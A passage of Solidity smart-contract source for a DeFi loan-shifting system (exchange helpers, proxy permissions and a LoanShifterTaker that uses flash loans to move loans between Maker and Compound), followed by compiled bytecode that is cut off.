multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(ERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. */ function safeApprove(ERC20 token, address spender, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(ERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(ERC20 token, bytes memory data) private { bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract AdminAuth { using SafeERC20 for ERC20; address public owner; address public admin; modifier onlyOwner() { require(owner == msg.sender); _; } constructor() public { owner = msg.sender; } /// @notice Admin is set by owner first time, after that admin is super role and has permission to change owner /// @param _admin Address of multisig that becomes admin function setAdminByOwner(address _admin) public { require(msg.sender == owner); require(admin == address(0)); admin = _admin; } /// @notice Admin is able to set new admin /// @param _admin Address of multisig that becomes new admin function setAdminByAdmin(address _admin) public { require(msg.sender == admin); admin = _admin; } /// @notice Admin is able to change owner /// @param _owner Address of new owner function setOwnerByAdmin(address _owner) public { require(msg.sender == admin); owner = _owner; } /// @notice Destroy the contract function kill() public onlyOwner { selfdestruct(payable(owner)); } /// @notice withdraw stuck funds function withdrawStuckFunds(address _token, uint _amount) public onlyOwner { if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) { payable(owner).transfer(_amount); } else { ERC20(_token).safeTransfer(owner, _amount); } } } abstract contract DSGuard { function canCall(address src_, address dst_, bytes4 sig) public view virtual returns (bool); function permit(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function forbid(bytes32 src, bytes32 dst, bytes32 sig) public virtual; function permit(address src, address dst, bytes32 sig) public virtual; function forbid(address src, address dst, bytes32 sig) public virtual; } abstract contract DSGuardFactory { function newGuard() public virtual returns (DSGuard guard); } abstract contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public virtual view returns (bool); } contract DSAuthEvents { event LogSetAuthority(address indexed authority); event LogSetOwner(address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public { owner = msg.sender; emit LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(address(authority)); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, address(this), sig); } } } contract ProxyPermission { address public constant FACTORY_ADDRESS = 0x5a15566417e6C1c9546523066500bDDBc53F88C7; /// @notice Called in the context of DSProxy to authorize an address /// @param _contractAddr Address which will be authorized function givePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); DSGuard guard = DSGuard(currAuthority); if (currAuthority == address(0)) { guard = DSGuardFactory(FACTORY_ADDRESS).newGuard(); DSAuth(address(this)).setAuthority(DSAuthority(address(guard))); } guard.permit(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } /// @notice Called in the context of DSProxy to remove authority of an address /// @param _contractAddr Auth address which will be removed from authority list function removePermission(address _contractAddr) public { address currAuthority = address(DSAuth(address(this)).authority()); // if there is no authority, that means that contract doesn't have permission if (currAuthority == address(0)) { return; } DSGuard guard = DSGuard(currAuthority); guard.forbid(_contractAddr, address(this), bytes4(keccak256("execute(address,bytes)"))); } } contract DSMath { function add(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x + y) >= x); } function sub(uint256 x, uint256 y) internal pure returns (uint256 z) { require((z = x - y) <= x); } function mul(uint256 x, uint256 y) internal pure returns (uint256 z) { require(y == 0 || (z = x * y) / y == x); } function div(uint256 x, uint256 y) internal pure returns (uint256 z) { return x / y; } function min(uint256 x, uint256 y) internal pure returns (uint256 z) { return x <= y ? x : y; } function max(uint256 x, uint256 y) internal pure returns (uint256 z) { return x >= y ? x : y; } function imin(int256 x, int256 y) internal pure returns (int256 z) { return x <= y ? x : y; } function imax(int256 x, int256 y) internal pure returns (int256 z) { return x >= y ? x : y; } uint256 constant WAD = 10**18; uint256 constant RAY = 10**27; function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), WAD / 2) / WAD; } function rmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, y), RAY / 2) / RAY; } function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, WAD), y / 2) / y; } function rdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint256 x, uint256 n) internal pure returns (uint256 z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } abstract contract TokenInterface { function allowance(address, address) public virtual returns (uint256); function balanceOf(address) public virtual returns (uint256); function approve(address, uint256) public virtual; function transfer(address, uint256) public virtual returns (bool); function transferFrom(address, address, uint256) public virtual returns (bool); function deposit() public virtual payable; function withdraw(uint256) public virtual; } interface ExchangeInterfaceV2 { function sell(address _srcAddr, address _destAddr, uint _srcAmount) external payable returns (uint); function buy(address _srcAddr, address _destAddr, uint _destAmount) external payable returns(uint); function getSellRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); function getBuyRate(address _srcAddr, address _destAddr, uint _srcAmount) external view returns (uint); } contract ZrxAllowlist is AdminAuth { mapping (address => bool) public zrxAllowlist; mapping(address => bool) private nonPayableAddrs; constructor() public { zrxAllowlist[0x6958F5e95332D93D21af0D7B9Ca85B8212fEE0A5] = true; zrxAllowlist[0x61935CbDd02287B511119DDb11Aeb42F1593b7Ef] = true; zrxAllowlist[0xDef1C0ded9bec7F1a1670819833240f027b25EfF] = true; zrxAllowlist[0x080bf510FCbF18b91105470639e9561022937712] = true; nonPayableAddrs[0x080bf510FCbF18b91105470639e9561022937712] = true; } function setAllowlistAddr(address _zrxAddr, bool _state) public onlyOwner { zrxAllowlist[_zrxAddr] = _state; } function isZrxAddr(address _zrxAddr) public view returns (bool) { return zrxAllowlist[_zrxAddr]; } function addNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = true; } function removeNonPayableAddr(address _nonPayableAddr) public onlyOwner { nonPayableAddrs[_nonPayableAddr] = false; } function isNonPayableAddr(address _addr) public view returns(bool) { return nonPayableAddrs[_addr]; } } contract Discount { address public owner; mapping(address => CustomServiceFee) public serviceFees; uint256 constant MAX_SERVICE_FEE = 400; struct CustomServiceFee { bool active; uint256 amount; } constructor() public { owner = msg.sender; } function isCustomFeeSet(address _user) public view returns (bool) { return serviceFees[_user].active; } function getCustomServiceFee(address _user) public view returns (uint256) { return serviceFees[_user].amount; } function setServiceFee(address _user, uint256 _fee) public { require(msg.sender == owner, "Only owner"); require(_fee >= MAX_SERVICE_FEE || _fee == 0); serviceFees[_user] = CustomServiceFee({active: true, amount: _fee}); } function disableServiceFee(address _user) public { require(msg.sender == owner, "Only owner"); serviceFees[_user] = CustomServiceFee({active: false, amount: 0}); } } contract SaverExchangeHelper { using SafeERC20 for ERC20; address public constant KYBER_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant WETH_ADDRESS = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address payable public constant WALLET_ID = 0x322d58b9E75a6918f7e7849AEe0fF09369977e08; address public constant DISCOUNT_ADDRESS = 0x1b14E8D511c9A4395425314f849bD737BAF8208F; address public constant SAVER_EXCHANGE_REGISTRY = 0x25dd3F51e0C3c3Ff164DDC02A8E4D65Bb9cBB12D; address public constant ERC20_PROXY_0X = 0x95E6F48254609A6ee006F7D493c8e5fB97094ceF; address public constant ZRX_ALLOWLIST_ADDR = 0x4BA1f38427b33B8ab7Bb0490200dAE1F1C36823F; function getDecimals(address _token) internal view returns (uint256) { if (_token == KYBER_ETH_ADDRESS) return 18; return ERC20(_token).decimals(); } function getBalance(address _tokenAddr) internal view returns (uint balance) { if (_tokenAddr == KYBER_ETH_ADDRESS) { balance = address(this).balance; } else { balance = ERC20(_tokenAddr).balanceOf(address(this)); } } function approve0xProxy(address _tokenAddr, uint _amount) internal { if (_tokenAddr != KYBER_ETH_ADDRESS) { ERC20(_tokenAddr).safeApprove(address(ERC20_PROXY_0X), _amount); } } function sendLeftover(address _srcAddr, address _destAddr, address payable _to) internal { // send back any leftover ether or tokens if (address(this).balance > 0) { _to.transfer(address(this).balance); } if (getBalance(_srcAddr) > 0) { ERC20(_srcAddr).safeTransfer(_to, getBalance(_srcAddr)); } if (getBalance(_destAddr) > 0) { ERC20(_destAddr).safeTransfer(_to, getBalance(_destAddr)); } } function sliceUint(bytes memory bs, uint256 start) internal pure returns (uint256) { require(bs.length >= start + 32, "slicing out of range"); uint256 x; assembly { x := mload(add(bs, add(0x20, start))) } return x; } } contract SaverExchangeRegistry is AdminAuth { mapping(address => bool) private wrappers; constructor() public { wrappers[0x880A845A85F843a5c67DB2061623c6Fc3bB4c511] = true; wrappers[0x4c9B55f2083629A1F7aDa257ae984E03096eCD25] = true; wrappers[0x42A9237b872368E1bec4Ca8D26A928D7d39d338C] = true; } function addWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = true; } function removeWrapper(address _wrapper) public onlyOwner { wrappers[_wrapper] = false; } function isWrapper(address _wrapper) public view returns(bool) { return wrappers[_wrapper]; } } contract SaverExchangeCore is SaverExchangeHelper, DSMath { // first is empty to keep the legacy order in place enum ExchangeType { _, OASIS, KYBER, UNISWAP, ZEROX } enum ActionType { SELL, BUY } struct ExchangeData { address srcAddr; address destAddr; uint srcAmount; uint destAmount; uint minPrice; address wrapper; address exchangeAddr; bytes callData; uint256 price0x; } /// @notice Internal method that preforms a sell on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and destAmount function _sell(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; uint tokensLeft = exData.srcAmount; // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } // Try 0x first and then fallback on specific wrapper if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, msg.value, exData.srcAmount); (success, swapedTokens, tokensLeft) = takeOrder(exData, ethAmount, ActionType.SELL); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.SELL); wrapper = exData.wrapper; } require(getBalance(exData.destAddr) >= wmul(exData.minPrice, exData.srcAmount), "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, swapedTokens); } /// @notice Internal method that preforms a buy on 0x/on-chain /// @dev Usefull for other DFS contract to integrate for exchanging /// @param exData Exchange data struct /// @return (address, uint) Address of the wrapper used and srcAmount function _buy(ExchangeData memory exData) internal returns (address, uint) { address wrapper; uint swapedTokens; bool success; require(exData.destAmount != 0, "Dest amount must be specified"); // if selling eth, convert to weth if (exData.srcAddr == KYBER_ETH_ADDRESS) { exData.srcAddr = ethToWethAddr(exData.srcAddr); TokenInterface(WETH_ADDRESS).deposit.value(exData.srcAmount)(); } if (exData.price0x > 0) { approve0xProxy(exData.srcAddr, exData.srcAmount); uint ethAmount = getProtocolFee(exData.srcAddr, msg.value, exData.srcAmount); (success, swapedTokens,) = takeOrder(exData, ethAmount, ActionType.BUY); if (success) { wrapper = exData.exchangeAddr; } } // fallback to desired wrapper if 0x failed if (!success) { swapedTokens = saverSwap(exData, ActionType.BUY); wrapper = exData.wrapper; } require(swapedTokens >= exData.destAmount, "Final amount isn't correct"); // if anything is left in weth, pull it to user as eth if (getBalance(WETH_ADDRESS) > 0) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } return (wrapper, getBalance(exData.destAddr)); } /// @notice Takes order from 0x and returns bool indicating if it is successful /// @param _exData Exchange data /// @param _ethAmount Ether fee needed for 0x order function takeOrder( ExchangeData memory _exData, uint256 _ethAmount, ActionType _type ) private returns (bool success, uint256, uint256) { // write in the exact amount we are selling/buing in an order if (_type == ActionType.SELL) { writeUint256(_exData.callData, 36, _exData.srcAmount); } else { writeUint256(_exData.callData, 36, _exData.destAmount); } if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isNonPayableAddr(_exData.exchangeAddr)) { _ethAmount = 0; } uint256 tokensBefore = getBalance(_exData.destAddr); if (ZrxAllowlist(ZRX_ALLOWLIST_ADDR).isZrxAddr(_exData.exchangeAddr)) { (success, ) = _exData.exchangeAddr.call{value: _ethAmount}(_exData.callData); } else { success = false; } uint256 tokensSwaped = 0; uint256 tokensLeft = _exData.srcAmount; if (success) { // check to see if any _src tokens are left over after exchange tokensLeft = getBalance(_exData.srcAddr); // convert weth -> eth if needed if (_exData.destAddr == KYBER_ETH_ADDRESS) { TokenInterface(WETH_ADDRESS).withdraw( TokenInterface(WETH_ADDRESS).balanceOf(address(this)) ); } // get the current balance of the swaped tokens tokensSwaped = getBalance(_exData.destAddr) - tokensBefore; } return (success, tokensSwaped, tokensLeft); } /// @notice Calls wraper contract for exchage to preform an on-chain swap /// @param _exData Exchange data struct /// @param _type Type of action SELL|BUY /// @return swapedTokens For Sell that the destAmount, for Buy thats the srcAmount function saverSwap(ExchangeData memory _exData, ActionType _type) internal returns (uint swapedTokens) { require(SaverExchangeRegistry(SAVER_EXCHANGE_REGISTRY).isWrapper(_exData.wrapper), "Wrapper is not valid"); uint ethValue = 0; ERC20(_exData.srcAddr).safeTransfer(_exData.wrapper, _exData.srcAmount); if (_type == ActionType.SELL) { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). sell{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.srcAmount); } else { swapedTokens = ExchangeInterfaceV2(_exData.wrapper). buy{value: ethValue}(_exData.srcAddr, _exData.destAddr, _exData.destAmount); } } function writeUint256(bytes memory _b, uint256 _index, uint _input) internal pure { if (_b.length < _index + 32) { revert("Incorrent lengt while writting bytes32"); } bytes32 input = bytes32(_input); _index += 32; // Read the bytes32 from array memory assembly { mstore(add(_b, _index), input) } } /// @notice Converts Kybers Eth address -> Weth /// @param _src Input address function ethToWethAddr(address _src) internal pure returns (address) { return _src == KYBER_ETH_ADDRESS ? WETH_ADDRESS : _src; } /// @notice Calculates protocol fee /// @param _srcAddr selling token address (if eth should be WETH) /// @param _msgValue msg.value in transaction /// @param _srcAmount amount we are selling function getProtocolFee(address _srcAddr, uint256 _msgValue, uint256 _srcAmount) internal returns(uint256) { // if we are not selling ETH msg value is always the protocol fee if (_srcAddr != WETH_ADDRESS) return _msgValue; // if msg value is larger than srcAmount, that means that msg value is protocol fee + srcAmount, so we subsctract srcAmount from msg value // we have an edge case here when protocol fee is higher than selling amount if (_msgValue > _srcAmount) return _msgValue - _srcAmount; // if msg value is lower than src amount, that means that srcAmount isn't included in msg value, so we return msg value return _msgValue; } function packExchangeData(ExchangeData memory _exData) public pure returns(bytes memory) { // splitting in two different bytes and encoding all because of stack too deep in decoding part bytes memory part1 = abi.encode( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ); bytes memory part2 = abi.encode( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ); return abi.encode(part1, part2); } function unpackExchangeData(bytes memory _data) public pure returns(ExchangeData memory _exData) { ( bytes memory part1, bytes memory part2 ) = abi.decode(_data, (bytes,bytes)); ( _exData.srcAddr, _exData.destAddr, _exData.srcAmount, _exData.destAmount ) = abi.decode(part1, (address,address,uint256,uint256)); ( _exData.minPrice, _exData.wrapper, _exData.exchangeAddr, _exData.callData, _exData.price0x ) = abi.decode(part2, (uint256,address,address,bytes,uint256)); } // solhint-disable-next-line no-empty-blocks receive() external virtual payable {} } contract ShifterRegistry is AdminAuth { mapping (string => address) public contractAddresses; bool public finalized; function changeContractAddr(string memory _contractName, address _protoAddr) public onlyOwner { require(!finalized); contractAddresses[_contractName] = _protoAddr; } function lock() public onlyOwner { finalized = true; } function getAddr(string memory _contractName) public view returns (address contractAddr) { contractAddr = contractAddresses[_contractName]; require(contractAddr != address(0), "No contract address registred"); } } abstract contract GasTokenInterface is ERC20 { function free(uint256 value) public virtual returns (bool success); function freeUpTo(uint256 value) public virtual returns (uint256 freed); function freeFrom(address from, uint256 value) public virtual returns (bool success); function freeFromUpTo(address from, uint256 value) public virtual returns (uint256 freed); } contract GasBurner { // solhint-disable-next-line const-name-snakecase GasTokenInterface public constant gasToken = GasTokenInterface(0x0000000000b3F879cb30FE243b4Dfee438691c04); modifier burnGas(uint _amount) { if (gasToken.balanceOf(address(this)) >= _amount) { gasToken.free(_amount); } _; } } /// @title LoanShifterTaker Entry point for using the shifting operation contract LoanShifterTaker is AdminAuth, ProxyPermission, GasBurner { ILendingPool public constant lendingPool = ILendingPool(0x398eC7346DcD622eDc5ae82352F02bE94C62d119); address public constant ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; address public constant DAI_ADDRESS = 0x6B175474E89094C44Da98b954EedeAC495271d0F; address public constant MANAGER_ADDRESS = 0x5ef30b9986345249bc32d8928B7ee64DE9435E39; Manager public constant manager = Manager(MANAGER_ADDRESS); ShifterRegistry public constant shifterRegistry = ShifterRegistry(0x597C52281b31B9d949a9D8fEbA08F7A2530a965e); enum Protocols { MCD, COMPOUND } enum SwapType { NO_SWAP, COLL_SWAP, DEBT_SWAP } struct LoanShiftData { Protocols fromProtocol; Protocols toProtocol; SwapType swapType; bool wholeDebt; uint collAmount; uint debtAmount; address debtAddr1; address debtAddr2; address addrLoan1; address addrLoan2; uint id1; uint id2; } /// @notice Main entry point, it will move or transform a loan /// @dev Called through DSProxy function moveLoan( SaverExchangeCore.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) public payable burnGas(20) { if (_isSameTypeVaults(_loanShift)) { _forkVault(_loanShift); return; } _callCloseAndOpen(_exchangeData, _loanShift); } //////////////////////// INTERNAL FUNCTIONS ////////////////////////// function _callCloseAndOpen( SaverExchangeCore.ExchangeData memory _exchangeData, LoanShiftData memory _loanShift ) internal { address protoAddr = shifterRegistry.getAddr(getNameByProtocol(uint8(_loanShift.fromProtocol))); uint loanAmount = _loanShift.debtAmount; if (_loanShift.wholeDebt) { loanAmount = ILoanShifter(protoAddr).getLoanAmount(_loanShift.id1, _loanShift.debtAddr1); if (_loanShift.fromProtocol == Protocols.COMPOUND) { CTokenInterface(_loanShift.debtAddr1).accrueInterest(); } } ( uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData ) = _packData(_loanShift, _exchangeData); // encode data bytes memory paramsData = abi.encode(numData, addrData, enumData, callData, address(this)); address payable loanShifterReceiverAddr = payable(shifterRegistry.getAddr("LOAN_SHIFTER_RECEIVER")); loanShifterReceiverAddr.transfer(address(this).balance); // call FL givePermission(loanShifterReceiverAddr); lendingPool.flashLoan(loanShifterReceiverAddr, getLoanAddr(_loanShift.debtAddr1, _loanShift.fromProtocol), loanAmount, paramsData); removePermission(loanShifterReceiverAddr); } function _forkVault(LoanShiftData memory _loanShift) internal { // Create new Vault to move to if (_loanShift.id2 == 0) { _loanShift.id2 = manager.open(manager.ilks(_loanShift.id1), address(this)); } if (_loanShift.wholeDebt) { manager.shift(_loanShift.id1, _loanShift.id2); } } function _isSameTypeVaults(LoanShiftData memory _loanShift) internal pure returns (bool) { return _loanShift.fromProtocol == Protocols.MCD && _loanShift.toProtocol == Protocols.MCD && _loanShift.addrLoan1 == _loanShift.addrLoan2; } function getNameByProtocol(uint8 _proto) internal pure returns (string memory) { if (_proto == 0) { return "MCD_SHIFTER"; } else if (_proto == 1) { return "COMP_SHIFTER"; } } function getLoanAddr(address _address, Protocols _fromProtocol) internal returns (address) { if (_fromProtocol == Protocols.COMPOUND) { return CTokenInterface(_address).underlying(); } else if (_fromProtocol == Protocols.MCD) { return DAI_ADDRESS; } else { return address(0); } } function _packData( LoanShiftData memory _loanShift, SaverExchangeCore.ExchangeData memory exchangeData ) internal pure returns (uint[8] memory numData, address[8] memory addrData, uint8[3] memory enumData, bytes memory callData) { numData = [ _loanShift.collAmount, _loanShift.debtAmount, _loanShift.id1, _loanShift.id2, exchangeData.srcAmount, exchangeData.destAmount, exchangeData.minPrice, exchangeData.price0x ]; addrData = [ _loanShift.addrLoan1, _loanShift.addrLoan2, _loanShift.debtAddr1, _loanShift.debtAddr2, exchangeData.srcAddr, exchangeData.destAddr, exchangeData.exchangeAddr, exchangeData.wrapper ]; enumData = [ uint8(_loanShift.fromProtocol), uint8(_loanShift.toProtocol), uint8(_loanShift.swapType) ]; callData = exchangeData.callData; } }
0x6080604052600436106101095760003560e01c80638da5cb5b11610095578063c91d59fe11610064578063c91d59fe1461024c578063deca5f8814610261578063e074bb4714610281578063e6a12ca9146102a1578063f851a440146102b657610109565b80638da5cb5b146101ed578063a59a997314610202578063a7304bf714610217578063a734f06e1461023757610109565b80633a128322116100dc5780633a128322146101835780633d391f70146101a357806341c0e1b5146101c3578063481c6a751461016e5780638823151b146101d857610109565b80631e48907b1461010e5780632a4c0a1a1461013057806335cf7c981461015b578063380d42441461016e575b600080fd5b34801561011a57600080fd5b5061012e610129366004611526565b6102cb565b005b34801561013c57600080fd5b50610145610304565b6040516101529190611753565b60405180910390f35b61012e6101693660046115c4565b61031c565b34801561017a57600080fd5b50610145610459565b34801561018f57600080fd5b5061012e61019e366004611565565b610471565b3480156101af57600080fd5b5061012e6101be366004611526565b61050a565b3480156101cf57600080fd5b5061012e6106f5565b3480156101e457600080fd5b5061014561071a565b3480156101f957600080fd5b50610145610732565b34801561020e57600080fd5b50610145610741565b34801561022357600080fd5b5061012e610232366004611526565b610759565b34801561024357600080fd5b50610145610792565b34801561025857600080fd5b506101456107aa565b34801561026d57600080fd5b5061012e61027c366004611526565b6107bd565b34801561028d57600080fd5b5061012e61029c366004611526565b6107ea565b3480156102ad57600080fd5b506101456108c8565b3480156102c257600080fd5b506101456108e0565b6001546001600160a01b031633146102e257600080fd5b600080546001600160a01b0319166001600160a01b0392909216919091179055565b736b175474e89094c44da98b954eedeac495271d0f81565b6040516370a0823160e01b815260149081906eb3f879cb30fe243b4dfee438691c04906370a0823190610353903090600401611753565b60206040518083038186803b15801561036b57600080fd5b505afa15801561037f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103a391906115ac565b1061042e5760405163d8ccd0f360e01b81526eb3f879cb30fe243b4dfee438691c049063d8ccd0f3906103da908490600401611957565b602060405180830381600087803b1580156103f457600080fd5b505af1158015610408573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061042c9190611590565b505b610437826108ef565b1561044a576104458261094a565b610454565b6104548383610adf565b505050565b735ef30b9986345249bc32d8928b7ee64de9435e3981565b6000546001600160a01b0316331461048857600080fd5b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee6001600160a01b03831614156104ec57600080546040516001600160a01b039091169183156108fc02918491818181858888f193505050501580156104e6573d6000803e3d6000fd5b50610506565b600054610506906001600160a01b03848116911683610e71565b5050565b6000306001600160a01b031663bf7e214f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561054557600080fd5b505afa158015610559573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057d9190611549565b9050806001600160a01b03811661066e57735a15566417e6c1c9546523066500bddbc53f88c76001600160a01b03166365688cc96040518163ffffffff1660e01b8152600401602060405180830381600087803b1580156105dd57600080fd5b505af11580156105f1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106159190611549565b604051637a9e5e4b60e01b81529091503090637a9e5e4b9061063b908490600401611753565b600060405180830381600087803b15801561065557600080fd5b505af1158015610669573d6000803e3d6000fd5b505050505b6040516332fba9a360e21b81526001600160a01b0382169063cbeea68c906106be90869030907f1cff79cde515a86f6cc1adbebe8ae25888905561371faf11c8102211f56b4870906004016117a4565b600060405180830381600087803b1580156106d857600080fd5b505af11580156106ec573d6000803e3d6000fd5b50505050505050565b6000546001600160a01b0316331461070c57600080fd5b6000546001600160a01b0316ff5b735a15566417e6c1c9546523066500bddbc53f88c781565b6000546001600160a01b031681565b73398ec7346dcd622edc5ae82352f02be94c62d11981565b6001546001600160a01b0316331461077057600080fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b73eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b6eb3f879cb30fe243b4dfee438691c0481565b6000546001600160a01b031633146107d457600080fd5b6001546001600160a01b03161561077057600080fd5b6000306001600160a01b031663bf7e214f6040518163ffffffff1660e01b815260040160206040518083038186803b15801561082557600080fd5b505afa158015610839573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061085d9190611549565b90506001600160a01b03811661087357506108c5565b604051632bc3217d60e01b815281906001600160a01b03821690632bc3217d906106be90869030907f1cff79cde515a86f6cc1adbebe8ae25888905561371faf11c8102211f56b4870906004016117a4565b50565b73597c52281b31b9d949a9d8feba08f7a2530a965e81565b6001546001600160a01b031681565b600080825160018111156108ff57fe5b14801561091b575060008260200151600181111561091957fe5b145b801561094257508161012001516001600160a01b03168261010001516001600160a01b0316145b90505b919050565b610160810151610a5f57610140810151604051632c2cb9fd60e01b8152735ef30b9986345249bc32d8928b7ee64de9435e3991636090dec5918391632c2cb9fd916109989190600401611957565b60206040518083038186803b1580156109b057600080fd5b505afa1580156109c4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109e891906115ac565b306040518363ffffffff1660e01b8152600401610a0692919061187d565b602060405180830381600087803b158015610a2057600080fd5b505af1158015610a34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5891906115ac565b6101608201525b8060600151156108c557610140810151610160820151604051637281915160e11b8152735ef30b9986345249bc32d8928b7ee64de9435e399263e50322a292610aaa92600401611960565b600060405180830381600087803b158015610ac457600080fd5b505af1158015610ad8573d6000803e3d6000fd5b5050505050565b600073597c52281b31b9d949a9d8feba08f7a2530a965e6001600160a01b031663d502db97610b1c84600001516001811115610b1757fe5b610ec7565b6040518263ffffffff1660e01b8152600401610b389190611894565b60206040518083038186803b158015610b5057600080fd5b505afa158015610b64573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b889190611549565b60a083015160608401519192509015610cb25761014083015160c0840151604051630176541360e71b81526001600160a01b0385169263bb2a098092610bd09260040161187d565b602060405180830381600087803b158015610bea57600080fd5b505af1158015610bfe573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c2291906115ac565b9050600183516001811115610c3357fe5b1415610cb2578260c001516001600160a01b031663a6afed956040518163ffffffff1660e01b8152600401602060405180830381600087803b158015610c7857600080fd5b505af1158015610c8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cb091906115ac565b505b610cba61136f565b610cc261136f565b610cca61138e565b6060610cd68789610f2e565b935093509350935060608484848430604051602001610cf99594939291906117ea565b60408051601f198184030181529082905263d502db9760e01b8252915060009073597c52281b31b9d949a9d8feba08f7a2530a965e9063d502db9790610d41906004016118a7565b60206040518083038186803b158015610d5957600080fd5b505afa158015610d6d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d919190611549565b6040519091506001600160a01b038216904780156108fc02916000818181858888f19350505050158015610dc9573d6000803e3d6000fd5b50610dd38161050a565b73398ec7346dcd622edc5ae82352f02be94c62d1196001600160a01b0316635cffe9de82610e098c60c001518d600001516110fa565b8a866040518563ffffffff1660e01b8152600401610e2a9493929190611767565b600060405180830381